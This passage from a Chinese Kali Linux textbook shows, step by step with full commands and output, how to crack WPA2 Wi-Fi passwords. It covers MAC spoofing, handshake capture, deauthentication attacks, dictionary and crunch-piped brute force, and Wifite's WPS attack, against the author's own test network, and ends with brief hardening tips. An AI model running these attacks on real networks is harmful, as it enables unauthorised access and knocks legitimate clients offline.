root@kali:~# airmon-ng stop wlan0                                                       #停止wlan0接口
Interface       Chipset                 Driver
wlan0           Ralink RT2870/3070      rt2800usb - [phy1]
                                (monitor mode disabled)

从输出的信息中可以看到,wlan0接口的监听模式已被禁用。接下来,就可以修改该网卡的Mac地址。

(3)修改无线网卡Mac地址为00:11:22:33:44:55,执行命令如下所示。

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0
Permanent       MAC: 00:c1:40:76:05:6c (unknown)
Current         MAC: 00:c1:40:76:05:6c (unknown)
New             MAC: 00:11:22:33:44:55 (Cimsys Inc)

从输出的信息中可以看到,无线网卡的Mac地址已经由原来的Mac:00:c1:40:76:05:6c,修改为00:11:22:33:44:55。

(4)启用无线网络接口。执行命令如下所示:

root@kali:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID             Name
2567            NetworkManager
2716            dhclient
15609           wpa_supplicant
Interface       Chipset                 Driver
wlan0           Ralink RT2870/3070      rt2800usb - [phy1]
                                (monitor mode enabled on mon0)

从以上输出的信息中可以看到,当前无线网卡已经被设置为监听模式,其监听接口为mon0。接下来,就可以使用airodump-ng工具来捕获握手包,并进行暴力破解。

(5)捕获数据包。执行命令如下所示。

root@kali:~# airodump-ng mon0
CH 10 ][ Elapsed: 37 s ][ 2014-12-05 11:09

 BSSID          PWR     Beacons #Data, #/s CH  MB       ENC     CIPHER  AUTH   ESSID

 14:E6:E4:84:23:7A      -26     14      0    0   6  54e.        WEP     WEP             Test1   
 8C:21:0A:44:09:F8      -25     11      0    0   1  54e.        WPA2    CCMP    PSK     Test
 EC:17:2F:46:70:BA      -36     8       1    0   6  54e.        WPA2    CCMP   PSK      yzty
 1C:FA:68:D7:11:8A      -56     10      0    0   6  54e.        WPA2    CCMP    PSK
        TP-LINK_D7118A
 DA:64:C7:2F:A1:34      -62    7     0    0   1  54 .   OPN     CMCC-EDU
 1C:FA:68:5A:3D:C0 -63    10    0    0   1  54e.        WPA2    CCMP    PSK     QQ
 1C:FA:68:1C:20:FA      -64    8     0    0   6  54e.   WPA2    CCMP    PSK
        TP-LINK_1C20FA
 EA:64:C7:2F:A1:34      -64     7       0    0   1  54 .        WPA2    CCMP    MGT  CMCC-AUTO
 C8:64:C7:2F:A1:34      -64   8         0    0   1  54 .        OPN      CMCC
BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 EC:17:2F:46:70:BA  D4:97:0B:44:32:C2   -1    0e- 0      0        1

以上输出信息显示了当前无线网卡搜索到的所有AP。本例中选择ESSID为Test的AP进行破解,其密码为daxueba!。

(6)捕获Test无线网络的数据包,执行命令如下所示。

root@kali:~# airodump-ng -c 1 -w wpa --bssid 8C:21:0A:44:09:F8 mon0
CH  1 ][ Elapsed: 3 mins ][ 2014-12-05 11:28

 BSSID       PWR RXQ  Beacons  #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 8C:21:0A:44:09:F8      -23     100  1104  103  0   1   54e.  WPA2  CCMP  PSK  Test

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

8C:21:0A:44:09:F8  00:13:EF:90:35:20  -18    1e- 1      0      148

从输出的信息中可以看到,当前有一个客户端连接到了Test无线网络。在破解WPA加密的数据包中,不是看捕获的数据包有多少,而是必须要捕获到握手包才可以。当有新的客户端连接该WiFi网络时,即可捕获到握手包。捕获到握手包,显示信息如下所示。

CH  1 ][ Elapsed: 3 mins ][ 2014-12-05 11:31 ][ WPA handshake: 8C:21:0A:44:09:F8

 BSSID      PWR  RXQ  Beacons  #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 8C:21:0A:44:09:F8  -23         100  1104  193   0   1   54e.  WPA2  CCMP  PSK  Test

 BSSID              STATION         PWR   Rate    Lost    Frames  Probe

 8C:21:0A:44:09:F8  00:C6:D2:A2:DA:36  -18    1e- 1      0      34     Test
 8C:21:0A:44:09:F8  00:13:EF:90:35:20   -18    1e- 1      0      148
 (not associated)    88:32:9B:B5:38:3B   -60     0 - 1      0      3      glD71314

从以上信息中可以看到,在右上角显示了已经捕获到握手包(加粗的部分)。如果捕获包的过程中,一直都没有捕获到握手包,可以使用aireplay-ng命令进行Deauth攻击,强制使客户端重新连接到WiFi网络。aireplay-ng命令的语法格式如下所示。

aireplay-ng -0 1 -a AP的MAC地址 -c 客户端的MAC地址 mon0

以上各选项含义如下所示。

image  -01:表示使用Deauth攻击模式,后面的1指的是攻击次数。用户根据自己的情况,可以指定不同的值。

image  -a:指定AP的Mac地址。

image  -c:指定客户端的Mac地址。

注意: 当成功捕获到握手包后,生成的文件名为wpa-01.cap,而不是wpa.cap。这里的文件编号,和前面介绍的ivs包中的编号含义一样。这时候可能有人会问,ivs和cap文件有什么区别。其实很简单,如果只是为了破解的话,建议保存为ivs。这样的好处就是生成的文件小且效率高。如果是为了破解后同时对捕获的无线数据包进行分析的话,就选为cap,这样能及时作出分析,如内网IP地址和密码等。但是,有一个缺点就是文件比较大。若是在一个复杂的无线网络环境时,短短20分钟也有可能使得捕获的数据包大小超过200MB。

(7)重新打开一个新的终端(不关闭airodump-ng抓包的界面),使用aireplay-ng命令对Test无线网络进行Deauth攻击。执行命令如下所示。

root@localhost:~# aireplay-ng -0 10 -a 8C:21:0A:44:09:F8 -c 00:C6:D2:A2:DA:36 mon0
13:18:33  Waiting for beacon frame (BSSID: 8C:21:0A:44:09:F8) on channel 1
13:18:34  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|61 ACKs]
13:18:34  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|64 ACKs]
13:18:35  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|63 ACKs]
13:18:36  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|61 ACKs]
13:18:36  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|62 ACKs]
13:18:37  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|64 ACKs]
13:18:38  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|62 ACKs]
13:18:38  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|62 ACKs]
13:18:39  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|62 ACKs]
13:18:39  Sending 64 directed DeAuth. STMAC: [00:C6:D2:A2:DA:36] [ 0|63 ACKs]

从以上命令及输出的结果可以看到,用户对目标AP发送了10次攻击。此时,返回到airodump-ng捕获包的界面,将看到在右上角出现WPA handshake的提示,这表示获得了包含WPA-PSK密码的四次握手数据包。如果还没有看到握手包,可以增加Deauth的发送数量,再一次对目标AP进行攻击。

(8)现在就可以使用aircrack-ng命令破解密码了。其语法格式如下所示。

aircrack-ng -w dic 捕获的cap文件

以上语法中-w后面指定的是进行暴力攻击的密码字典。接下来开始破解密码,执行命令如下所示。

root@Kali:~# aircrack-ng -w ./dic/wordlist wpa-01.cap
Opening wpa-01.cap
Read 1293 packets.
   #  BSSID                     ESSID                   Encryption
   1  8C:21:0A:44:09:F8         Test                            WPA (1 handshake)
Choosing first network as target.
Opening abc-01.cap
Reading packets, please wait...
                                   Aircrack-ng 1.2 rc1
                           [00:00:10] 2 keys tested (475.40 k/s)
                               KEY FOUND! [ daxueba! ]
      Master Key        : 65 AD 54 74 0A DC EC 6B 45 1F 3F AD B5 AF B0 5A
                        AB D8 D6 AF 12 5F 5B 01 CC 84 02 6F E0 35 51 AC
      Transient Key     : E7 F8 2E F7 8E E1 C0 35 CE 32 EC 9A 40 26 EE 61
                        A4 4C 1F 13 1F 5F DA 35 FC F5 DB 87 98 E8 45 0A
                        F7 D5 77 C6 67 D5 F1 DF D8 20 5B D9 54 D8 BC 4B
                        95 56 8C 13 9B A8 8F BE DD F7 AC 9E 87 97 E7 7D
      EAPOL HMAC        : 00 B5 82 A6 4F D1 B7 C4 A8 12 43 17 EF 8A B4 9E

从输出的信息中可以看到,无线路由器的密码已经成功破解。在KEY FOUND提示的右侧可以看到密码已被破解出,其密码为daxueba!,破解速度约为475.40k/s。

9.4.2 使用Wifite工具破解WPA加密

Wifite是一款自动化WEP和WPA破解工具。下面将介绍如何使用Wifite工具破解WPA加密的WiFi网络。

【实例9-11】 使用Wifite工具破解WPA加密的WiFi网络。具体操作步骤如下所述。

(1)启动Wifite工具,并指定一个密码字典wordlist.txt。执行命令如下所示。

root@localhost:~# wifite -dict wordlist.txt

  .;'                     `;,
 .;'  ,;'             `;,  `;,   WiFite v2 (r85)
.;'  ,;'  ,;'     `;,  `;,  `;,
::   ::   :   ( )   :   ::   ::  automated wireless auditor
':.  ':.  ':. /_\ ,:'  ,:'  ,:'
 ':.  ':.    /___\    ,:'  ,:'   designed for Linux
  ':.       /_____\      ,:'
           /       \
 [+] WPA dictionary set to a
 [+] scanning for wireless devices...
 [+] enabling monitor mode on wlan3... done
 [+] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
 [0:00:03] scanning wireless networks. 0 targets and 0 clients found

以上输出的信息显示了Wifite工具的基本信息。注意,在指定密码字典时,该文件名必须是一个*.txt文件。

(2)停止扫描到的无线网络,如下所示。

[+] scanning (mon0), updates at 5 sec intervals, CTRL+C when ready.
   NUM ESSID              CH    ENCR   POWER    WPS?            CLIENT
   --- -------------  ------- -------  --------- -----------  ------------
    1  Test             1       WPA2    73db    wps             client
    2  Test1            6       WEP     67db     wps
    3  yzty             6       WPA2    61db     wps
    4  CMCC-AUTO        1       WPA2    39db      no
    5  QQ               1       WPA2    38db     wps
[+] select target numbers (1-5) separated by commas, or 'all':

从以上信息中可以看到扫描到5个WiFi网络。

(3)这里选择破解Test无线网络,所以输入编号1,将显示如下所示的信息:

[+] select target numbers (1-5) separated by commas, or 'all': 1
[+] 1 target selected.
[0:00:00] initializing WPS PIN attack on Test (8C:21:0A:44:09:F8)
[0:04:31] WPS attack, 9/10 success/ttl, 0.09% complete (5 sec/att)
[!] unable to complete successful try in 660 seconds
 [+] skipping Test
 [0:08:20] starting wpa handshake capture on " Test"
 [0:08:11] new client found: 00:C1:41:26:0E:F9
 [0:08:16] new client found: 00:13:EF:90:35:20
 [0:08:09] listening for handshake...
 [0:00:11] handshake captured! saved as "hs/Test_8C:21:0A:44:09:F8.cap"
 [+] 2 attacks completed:
 [+] 1/2 WPA attacks succeeded
        Test (8C:21:0A:44:09:F8) handshake captured
        saved as hs/Test_8C:21:0A:44:09:F8.cap

 [+] starting WPA cracker on 1 handshake
 [0:00:00] cracking Test with aircrack-ng
 [+] cracked Test (8C:21:0A:44:09:F8)!
 [+] key:    "daxueba!"
[+] quitting

从输出的信息中可以看到,破解出Test(AP)WiFi网络的加密密码是daxueba!。

9.4.3 不指定字典破解WPA加密

通常情况下,不一定在任何时候都有合适的密码字典。这时候用户就可以边创建密码,边实施破解。在前面介绍了用户可以使用Crunch工具来创建密码字典。所以,下面通过借助管道(|)的方法,来介绍不指定密码字典实施破解WPA加密。

【实例9-12】 不指定密码字典破解WPA加密的WiFi网络。本例为了加快破解速度,将AP(Test)的密码设置为12345678。破解步骤如下所述。

(1)开启监听模式。执行命令如下所示。

root@kali:~# airmon-ng start wlan0

(2)捕获握手包。下面同样捕获Test的无线信号,执行命令如下所示。

root@kali:~# airodump-ng -c 1 -w wlan --bssid 8C:21:0A:44:09:F8 mon0
CH  1 ][ Elapsed: 8 mins ][ 2014-12-06 10:28 ][ WPA handshake: 8C:21:0A:44:09:F8

 BSSID  PWR RXQ  Beacons  #Data, #/s   CH   MB    ENC   CIPHER  AUTH  ESSID

 8C:21:0A:44:09:F8      -16     1347    1352     1561   0    1   54e.  WPA2  CCMP  PSK  Test

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

8C:21:0A:44:09:F8  00:13:EF:90:35:20  -18    1e- 1      0      148
8C:21:0A:44:09:F8  3C:43:8E:A4:40:63  -24    1e- 11e     0     8454

从以上输出信息中可以看到,已经捕获到握手包。如果没有捕获到握手包,可以强制使客户端掉线并自动重新登录。

(3)破解WPA加密。下面指定一个长度为8位的密码,并且使用字符串"123456789"。执行命令如下所示。

root@localhost:~# crunch 1 8 123456789 | aircrack-ng wlan-01.cap -e Test -w -
Crunch will now generate the following amount of data: 429794604 bytes
409 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 48427560
Opening wlan-01.cap
Opening wlan-01.capease wait...
Reading packets, please wait...
                                 Aircrack-ng 1.2 rc1
                   [00:03:11] 672588 keys tested (3626.96 k/s)
                           KEY FOUND! [ 12345678 ]
      Master Key        : D0 78 28 FB 75 90 33 29 59 D1 AF D9 0E 25 D5 80
                        19 54 12 60 32 7F 18 4E 1F 13 50 C3 C5 DE 4D 03
      Transient Key     : E1 73 E8 15 A2 CF AC 9E CE D4 FD DD F6 B8 EF 62
                        5B 5A F1 B2 15 41 0B 11 7E E3 13 20 88 3D A4 23
                        DE 43 5F 47 6D 95 85 11 88 1A DC 35 37 D5 97 D0
                        1E 94 68 45 92 4A FE E5 87 31 14 88 93 4A 59 C9
      EAPOL HMAC    : 19 F2 97 E0 EC 36 38 6B AA EC AB 06 07 7C 30 39

从以上输出的信息中可以看到,密码已经找到,为12345678。整个破解过程使用了3分11秒。在以上命令中,管道(|)前面是创建密码的命令,后面是破解密码的命令。在aicrack-ng命令中,使用-e指定了AP的ESSID,-w表示指定密码字典,-表示使用标准输入。

9.5 WPA的安全措施

根据前面的介绍可以看出,如果有一个很好的密码字典,破解WPA加密的WiFi网络是一件轻而易举的事情。但是,可以采取一些措施,尽可能的保证用户网络的安全。在无线网络设备中有多项设置虽不能起到绝对阻止攻击的作用,但正确的设置可增加攻击者的攻击难度。下面将介绍几个应对WPA的安全措施。

(1)更改无线路由器默认设置。

(2)禁止SSID广播。

(3)防止被扫描搜索。

(4)关闭WPA/QSS。

(5)启用Mac地址过滤。

(6)设置比较复杂的密码。